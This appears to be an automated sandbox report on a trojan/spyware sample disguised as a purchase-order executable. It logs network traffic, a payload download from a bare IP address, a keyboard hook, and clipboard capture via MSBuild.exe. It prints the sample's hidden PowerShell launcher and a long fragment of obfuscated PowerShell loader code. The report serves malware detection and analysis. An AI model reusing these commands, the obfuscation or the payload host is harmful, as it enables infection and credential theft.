Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /mfMeuTZ127.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 172.96.14.41Cache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: api.ipify.org

Source: MSBuild.exe, 00000005.00000002.2591099574.00000000042C0000.00000004.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2591135790.0000000004322000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.96.14.41/mfMeuTZ127.bin
Source: MSBuild.exe, 00000005.00000002.2591135790.0000000004322000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.96.14.41/mfMeuTZ127.bin&
Source: MSBuild.exe, 00000005.00000002.2609495360.0000000020360000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.0000000020331000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.000000002255D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.00000000201A4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.00000000224BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: MSBuild.exe, 00000005.00000002.2609495360.0000000020360000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.0000000020331000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.000000002255D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.00000000201A4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.00000000224BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: MSBuild.exe, 00000005.00000002.2609495360.0000000020360000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.0000000020331000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.000000002255D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.00000000201A4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.00000000224BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
Source: powershell.exe, 00000004.00000002.1605116373.000000000748B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: MSBuild.exe, 00000005.00000002.2609495360.0000000020360000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.0000000020331000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.000000002019C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.qualityaf.com
Source: PO_00290292.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.1717924574.0000000005E09000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1604051248.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.1602165346.0000000004CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: MSBuild.exe, 00000005.00000002.2609495360.0000000020360000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.0000000020331000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.000000002255D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.00000000201A4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.00000000224BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.0000000022498000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0)
Source: MSBuild.exe, 00000005.00000002.2609495360.0000000020360000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.0000000020331000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.000000002255D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.00000000201A4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.00000000224BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.0000000022498000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: powershell.exe, 00000002.00000002.1700157482.0000000004DA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1602165346.0000000004B61000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.0000000020121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.1602165346.0000000004CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.1605116373.000000000748B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coB
Source: MSBuild.exe, 00000005.00000002.2609495360.0000000020360000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.0000000020331000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2591135790.00000000042EB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.000000002255D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.00000000201A4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.00000000224BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: MSBuild.exe, 00000005.00000002.2609495360.0000000020360000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.0000000020331000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2591135790.00000000042EB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.000000002255D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.00000000201A4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.00000000224BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: powershell.exe, 00000002.00000002.1700157482.0000000004DA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1602165346.0000000004B61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: MSBuild.exe, 00000005.00000002.2609495360.0000000020121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: MSBuild.exe, 00000005.00000002.2609495360.0000000020121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: MSBuild.exe, 00000005.00000002.2609495360.0000000020121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: powershell.exe, 00000004.00000002.1604051248.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1604051248.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1604051248.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.1602165346.0000000004CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.1717924574.0000000005E09000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1604051248.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: unknown

HTTPS traffic detected: 104.237.62.211:443 -> 192.168.2.8:49709 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 5_2_2322CB90 SetWindowsHookExA 0000000D,00000000,?,?,?,?,?,?,?,?,?,2322D1F8,00000000,00000000

5_2_2322CB90

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe

Jump to behavior

Source: C:\Users\user\Desktop\PO_00290292.exe

Code function: 0_2_0040541C GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,FindCloseChangeNotification,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040541C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: PO_00290292.exe

Very long command line found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 26008
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 26008			Jump to behavior

Source: C:\Users\user\Desktop\PO_00290292.exe

Code function: 0_2_004033B6 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,ExitProcess,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004033B6

Source: C:\Users\user\Desktop\PO_00290292.exe	Code function: 0_2_00406846	0_2_00406846
Source: C:\Users\user\Desktop\PO_00290292.exe	Code function: 0_2_00404C59	0_2_00404C59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_00AB41E8	5_2_00AB41E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_00ABB359	5_2_00ABB359
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_00ABE8B8	5_2_00ABE8B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_00AB4AB8	5_2_00AB4AB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_00ABAA60	5_2_00ABAA60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_00AB3EA0	5_2_00AB3EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_0118A2C5	5_2_0118A2C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_232254BB	5_2_232254BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_232254C8	5_2_232254C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_23221F38	5_2_23221F38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_23232358	5_2_23232358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_2323B25B	5_2_2323B25B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_23235D00	5_2_23235D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_232355A8	5_2_232355A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_2323C1B8	5_2_2323C1B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_2323E3D0	5_2_2323E3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_232376B0	5_2_232376B0

Source: PO_00290292.exe

Static PE information: invalid certificate

Source: PO_00290292.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.spre.troj.spyw.evad.winEXE@8/15@2/3

Source: C:\Users\user\Desktop\PO_00290292.exe

0_2_004033B6

Source: C:\Users\user\Desktop\PO_00290292.exe

Code function: 0_2_004046DD GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004046DD

Source: C:\Users\user\Desktop\PO_00290292.exe

Code function: 0_2_00402095 CoCreateInstance,

0_2_00402095

Source: C:\Users\user\Desktop\PO_00290292.exe

File created: C:\Users\user\Pictures\ledelsers

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5592:120:WilError_03

Source: C:\Users\user\Desktop\PO_00290292.exe

File created: C:\Users\user\AppData\Local\Temp\nse6572.tmp

Jump to behavior

Source: PO_00290292.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\PO_00290292.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\PO_00290292.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PO_00290292.exe

Virustotal: Detection: 15%

Source: C:\Users\user\Desktop\PO_00290292.exe

File read: C:\Users\user\Desktop\PO_00290292.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PO_00290292.exe C:\Users\user\Desktop\PO_00290292.exe
Source: C:\Users\user\Desktop\PO_00290292.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden $derremc = Get-Content 'C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\Lection.Fle' ; powershell.exe "$derremc"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Spejlvende Journaliseringssystems Conservatorial #><#Basilikers Toothcomb Letfordrvelig #>$Portugals = """Ko;SmFOmu RnFac FtTwiStoFonDe OtPAlyInxHui PdSkeInsEr4 F In{ S tv Po fi TupOvaBerGaafomPa(sm[BeS Tt HrPeiAunOsgEv]Ov`$SpSuioBelAnfPsa UlCedTo)Fo;bu Go`$OvNSkoOprDetNohObuRhm Cb OeLirAal BaTonbodDe Fu=Sk Ru`$ VSSpoAnlVafHeaPulHldRe.CiLHaePrnAsgFatInh M;Ne L Vi Af Ta`$PoD RrAniElf OtSvsPasUnyexs OtSteRimBumreeRetAnsSm Tr=Ch NoNArevvwAp-LaO NbSojOpe DcStt P Tb Ry FtSneVa[Pr]Wh Ud(Le`$miNBioLir VtPahMuuUdm TbSaeperGalAfaInnDedLi Op/ci St2Bo)An; K Ps`$PrRfioCadUntUme PgAnnGyeovtAn1St6Ug8Ab=Pi' CS AU D'In+ P'EdBUnSSpTBoRUnIThNDoG l'Aa;Af Da Co Im TF FoWarDe( D`$StNEnoChnCyetexNupudeOvccrt FaTanPatPa= U0Pl;No Ho`$NoNByoHjnUtelix Tp OeSoc St FaUnnSvtSy Op-ShlTetRe J`$KoNakoVurActQuh SuBumUdbYeeovrOrlSuaMinCrdcr;Li U`$SeNMaoPinTrePaxAlpspeLocHetSmaUnnBetBa+ro= G2Tr) P{Se Un He He Un Au Ko Ta ar`$PoDDer BiDefTet BsTrsBoyThs BtNaeunmKnmWaeAmtDosCa[ S`$ScNUgoBlnMaeApxEkpCaeRec At HaInnentDr/Ho2 U] K Ka= S Da[stcSmoPan BvSkeLer OtOb] N:Zi:UnTreoAaB SyBrt GeHa( d`$ JSMaoWilkofHoaOvlHodOm.No`$AtRPaoPodGitage NgTnnMaemat F1re6Ar8Be.CoI FnPhvSpoNektieJo(Fl`$PhN Do OnBoe RxCop ReSicTatInaSanBatJo,Ln Sp2Fu)Ep,Tr K1Cl6Un)Br;Po in F`$gaDPerChiMefKotRasOvsTey SsRetBoeFimSumIne wtUdsFi[Ar`$TrNMoo Sn Ue DxCypByeRocCotAnaNunomtTe/Ph2No]st Ar=So HaxGaoKnrSoaQummiiBa Sk`$MoDShrSei Sf UtsosPrsSpyLesdotBieDimDomRreUntSps P[ U`$UnNAroRen AeBexHopGee Sc PtBaaInnIntEa/Be2ov]Fi Po1Pl1 M0Gl;ra N un Po Fl}Fo Ou[PsSCotUnrPhiSynSogUn]De[PeSSuy PsLitSkepymIn.KaTSoe LxAntEu.SiEVan Dc UodedPriFnn PgSp]Ph: e:AyAPoSOoC MIFuIJa.PaGGee LtBeSCatStrEri wnUng B(da`$ElDCarIsiAtfPat BsChs SyMnsPttSeeUdmOvmaueDrtPas E)Ra;Un}St`$VeEBismetBjiGamSteHarDiiHanTogSmetorCh0 D=KoPGrySvxPuiOvdSme Ks l4Fi Sk'Au3StDHo1Af7Bo1TrDal1SyAsp0SiBri0 H3Cr4Af0Ma0PlABa0Af2 B0Gr2St'Ga;Ov`$deENesNetTiiFimBreKirSaiLenWagfjeBorLe1Py=AuP lyLexUniFedCleGesat4Op Fa'Ra2Pr3ta0 e7 D0KlDUn1NoCCo0Li1 R1 TDWe0Un1 D0Yv8Su1 TA O4 R0 A3ny9Sl0Fo7Cr0In0Ta5DaD K5ThCLo4 W0Kd3 KB F0Em0ig1SkD D0ReF R0ir8Bu0FoBOp2Ir0De0 SFUg1arAMa0St7Va1Be8 A0UnBKa2Ge3Ho0JuB A1 RA A0Vi6 G0 G1An0DeAHa1KaDPr'Wh; V`$ CEKos StSoi SmEneUnr ui TnNog SeOvrMe2As=ApPTaySaxDriUndreeTesSp4In ap'In2 d9Bl0CrBSa1 AAUn3MaESk1VaCun0Ch1Te0DdDin2SlFBu0SaAAl0TeA F1DyC D0TaBSt1 KDEl1TrDbr'Ra;Ca`$FaEHasSetPaiNim ReElrHai FnStgUre Irgr3 I=LaPGayWexfliBddSoeBosPa4No ek'Re3StDIn1mi7Un1RuDCp1 NA N0maBRo0Fa3 V4Ma0Br3UnC F1MiBZo0 H0So1FeAKa0Ma7Bl0Un3 C0CaB D4Mo0Pr2Da7Sc0Ho0Hu1ReA I0DiBFj1AgCFl0Ud1Su1SeEHo3PhDFo0CaBCo1 TCgr1re8Ma0 D7An0UdDBo0AtBJu1VeDPo4Jo0Mi2 P6 P0 SFFo0Ju0re0CoA S0Bl2 S0 LBUn3CaCNd0UnBLo0Af8 B' M;In`$DeECosDrtDri Sm se UrTriOunRegSke MrPr4Ti=deP IyPexSpiSpdCee FsSu4Zo Zo'At1PaDva1SoA E1ReCud0 B7Ha0 E0Mi0 A9Ti'No;Sw`$SeEHasBltSeiPamKoeOvrPoiGrnGegObe ArWi5Sk=DiPabyToxGaiSedOre GsVo4St D' F2Da9Ko0 MBtr1LiAAd2 U3Fe0Sl1sk0UnA P1asBTr0Do2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
Source: C:\Users\user\Desktop\PO_00290292.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden $derremc = Get-Content 'C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\Lection.Fle' ; powershell.exe "$derremc"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Spejlvende Journaliseringssystems Conservatorial #><#Basilikers Toothcomb Letfordrvelig #>$Portugals = """Ko;SmFOmu RnFac FtTwiStoFonDe OtPAlyInxHui PdSkeInsEr4 F In{ S tv Po fi TupOvaBerGaafomPa(sm[BeS Tt HrPeiAunOsgEv]Ov`$SpSuioBelAnfPsa UlCedTo)Fo;bu Go`$OvNSkoOprDetNohObuRhm Cb OeLirAal BaTonbodDe Fu=Sk Ru`$ VSSpoAnlVafHeaPulHldRe.CiLHaePrnAsgFatInh M;Ne L Vi Af Ta`$PoD RrAniElf OtSvsPasUnyexs OtSteRimBumreeRetAnsSm Tr=Ch NoNArevvwAp-LaO NbSojOpe DcStt P Tb Ry FtSneVa[Pr]Wh Ud(Le`$miNBioLir VtPahMuuUdm TbSaeperGalAfaInnDedLi Op/ci St2Bo)An; K Ps`$PrRfioCadUntUme PgAnnGyeovtAn1St6Ug8Ab=Pi' CS AU D'In+ P'EdBUnSSpTBoRUnIThNDoG l'Aa;Af Da Co Im TF FoWarDe( D`$StNEnoChnCyetexNupudeOvccrt FaTanPatPa= U0Pl;No Ho`$NoNByoHjnUtelix Tp OeSoc St FaUnnSvtSy Op-ShlTetRe J`$KoNakoVurActQuh SuBumUdbYeeovrOrlSuaMinCrdcr;Li U`$SeNMaoPinTrePaxAlpspeLocHetSmaUnnBetBa+ro= G2Tr) P{Se Un He He Un Au Ko Ta ar`$PoDDer BiDefTet BsTrsBoyThs BtNaeunmKnmWaeAmtDosCa[ S`$ScNUgoBlnMaeApxEkpCaeRec At HaInnentDr/Ho2 U] K Ka= S Da[stcSmoPan BvSkeLer OtOb] N:Zi:UnTreoAaB SyBrt GeHa( d`$ JSMaoWilkofHoaOvlHodOm.No`$AtRPaoPodGitage NgTnnMaemat F1re6Ar8Be.CoI FnPhvSpoNektieJo(Fl`$PhN Do OnBoe RxCop ReSicTatInaSanBatJo,Ln Sp2Fu)Ep,Tr K1Cl6Un)Br;Po in F`$gaDPerChiMefKotRasOvsTey SsRetBoeFimSumIne wtUdsFi[Ar`$TrNMoo Sn Ue DxCypByeRocCotAnaNunomtTe/Ph2No]st Ar=So HaxGaoKnrSoaQummiiBa Sk`$MoDShrSei Sf UtsosPrsSpyLesdotBieDimDomRreUntSps P[ U`$UnNAroRen AeBexHopGee Sc PtBaaInnIntEa/Be2ov]Fi Po1Pl1 M0Gl;ra N un Po Fl}Fo Ou[PsSCotUnrPhiSynSogUn]De[PeSSuy PsLitSkepymIn.KaTSoe LxAntEu.SiEVan Dc UodedPriFnn PgSp]Ph: e:AyAPoSOoC MIFuIJa.PaGGee LtBeSCatStrEri wnUng B(da`$ElDCarIsiAtfPat BsChs SyMnsPttSeeUdmOvmaueDrtPas E)Ra;Un}St`$VeEBismetBjiGamSteHarDiiHanTogSmetorCh0 D=KoPGrySvxPuiOvdSme Ks l4Fi Sk'Au3StDHo1Af7Bo1TrDal1SyAsp0SiBri0 H3Cr4Af0Ma0PlABa0Af2 B0Gr2St'Ga;Ov`$deENesNetTiiFimBreKirSaiLenWagfjeBorLe1Py=AuP lyLexUniFedCleGesat4Op Fa'Ra2Pr3ta0 e7 D0KlDUn1NoCCo0Li1 R1 TDWe0Un1 D0Yv8Su1 TA O4 R0 A3ny9Sl0Fo7Cr0In0Ta5DaD K5ThCLo4 W0Kd3 KB F0Em0ig1SkD D0ReF R0ir8Bu0FoBOp2Ir0De0 SFUg1arAMa0St7Va1Be8 A0UnBKa2Ge3Ho0JuB A1 RA A0Vi6 G0 G1An0DeAHa1KaDPr'Wh; V`$ CEKos StSoi SmEneUnr ui TnNog SeOvrMe2As=ApPTaySaxDriUndreeTesSp4In ap'In2 d9Bl0CrBSa1 AAUn3MaESk1VaCun0Ch1Te0DdDin2SlFBu0SaAAl0TeA F1DyC D0TaBSt1 KDEl1TrDbr'Ra;Ca`$FaEHasSetPaiNim 